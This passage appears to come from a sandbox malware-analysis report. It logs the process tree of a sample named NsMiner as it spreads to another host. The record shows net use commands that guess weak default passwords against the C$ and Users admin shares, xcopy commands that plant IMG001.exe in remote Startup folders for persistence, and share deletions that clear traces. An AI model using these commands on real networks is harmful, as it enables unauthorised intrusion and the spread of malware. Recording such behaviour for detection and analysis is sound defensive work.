        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5904
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:2156
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:4708
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:4788
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:2256
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5564
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:4636
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6336
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:2036
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:964
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6956
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
        6⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        7⤵
        
        PID:1908
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6936
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
        6⤵
        
        PID:6536
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        7⤵
        
        PID:4328
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:188
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5016
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:6160
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6272
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:1772
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:1364
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:1476
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\IMG001.exe" "
        6⤵
        
        PID:5600
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe"
        7⤵
        
        PID:3092
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ /delete /y
        6⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:3648
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 20 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7004
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:5728
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:3120
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:6424
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:2208
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:432
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:6896
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:460
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5372
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5016
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6632
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:2524
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5204
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:4896
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:1976
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5600
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:1012
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:1196
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:3156
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:5840
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:2872
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:6276
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6388
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
        6⤵
        
        PID:6352
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        7⤵
        
        PID:6928
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6328
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
        6⤵
        
        PID:3144
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        7⤵
        
        PID:5700
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:5416
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:6120
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:6872
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6404
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5604
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5740
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:5112
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\IMG001.exe" "
        6⤵
        
        PID:2060
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe"
        7⤵
        
        PID:6904
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users /delete /y
        6⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:2260
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 20 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3440
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6512
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"1"
        6⤵
        
        PID:6232
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"1"
        6⤵
        
        PID:1364
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1476
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "123" /user:"1"
        6⤵
        
        PID:5548
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "123" /user:"1"
        6⤵
        
        PID:1656
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5152
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"1"
        6⤵
        
        PID:224
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"1"
        6⤵
        
        PID:1524
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6388
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1509" /user:"1"
        6⤵
        
        PID:1924
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1509" /user:"1"
        6⤵
        
        PID:3272
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5808
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ """" /user:"1"
        6⤵
        
        PID:4788
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users """" /user:"1"
        6⤵
        
        PID:3160
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4036
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "0" /user:"10.127.255.255"
        6⤵
        
        PID:5756
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "0" /user:"10.127.255.255"
        6⤵
        
        PID:4388
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7056
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"10.127.255.255"
        6⤵
        
        PID:6740
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"10.127.255.255"
        6⤵
        
        PID:6656
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:936
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "123" /user:"10.127.255.255"
        6⤵
        
        PID:6116
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "123" /user:"10.127.255.255"
        6⤵
        
        PID:640
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1372
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "10.127.255.255" /user:"10.127.255.255"
        6⤵
        
        PID:2752
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "10.127.255.255" /user:"10.127.255.255"
        6⤵
        
        PID:2596
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4424
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1509" /user:"10.127.255.255"
        6⤵
        
        PID:6580
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1509" /user:"10.127.255.255"
        6⤵
        
        PID:2172
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3988
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ """" /user:"10.127.255.255"
        6⤵
        
        PID:2160
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users """" /user:"10.127.255.255"
        6⤵
        
        PID:3456
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6104
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "0" /user:"administrator"
        6⤵
        
        PID:5912
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "0" /user:"administrator"
        6⤵
        
        PID:7004
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6052
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"administrator"
        6⤵
        
        PID:6140
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"administrator"
        6⤵
        
        PID:2644
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4896
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "123" /user:"administrator"
        6⤵
        
        PID:1976
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "123" /user:"administrator"
        6⤵
        
        PID:6312
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1584
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "administrator" /user:"administrator"
        6⤵
        
        PID:2780
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "administrator" /user:"administrator"
        6⤵
        
        PID:6432
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5780
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1509" /user:"administrator"
        6⤵
        
        PID:6000
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1509" /user:"administrator"
        6⤵
        
        PID:5444
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6808
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ """" /user:"administrator"
        6⤵
        
        PID:2404
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users """" /user:"administrator"
        6⤵
        
        PID:4292
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6872
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "0" /user:"user"
        6⤵
        
        PID:4788
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "0" /user:"user"
        6⤵
        
        PID:2840
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:548
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"user"
        6⤵
        
        PID:5904
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"user"
        6⤵
        
        PID:5032
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6212
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "123" /user:"user"
        6⤵
        
        PID:6908
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "123" /user:"user"
        6⤵
        
        PID:4708
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2156
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "user" /user:"user"
        6⤵
        
        PID:6708
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "user" /user:"user"
        6⤵
        
        PID:1028
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1516
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1509" /user:"user"
        6⤵
        
        PID:5624
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1509" /user:"user"
        6⤵
        
        PID:6060
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1272
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ """" /user:"user"
        6⤵
        
        PID:5860
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users """" /user:"user"
        6⤵
        
        PID:4604
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2108
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "0" /user:"admin"
        6⤵
        
        PID:6036
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "0" /user:"admin"
        6⤵
        
        PID:1376
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3404
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "1" /user:"admin"
        6⤵
        
        PID:2792
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "1" /user:"admin"
        6⤵
        
        PID:6032
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3572
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "123" /user:"admin"
        6⤵
        
        PID:4720
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "123" /user:"admin"
        6⤵
        
        PID:4304
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1288
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\C$ "admin" /user:"admin"
        6⤵
        
        PID:4456
      - C:\Windows\SysWOW64\net.exe
        
        net use \\10.127.255.255\Users "admin" /user:"admin"
        6⤵
        
        PID:6052
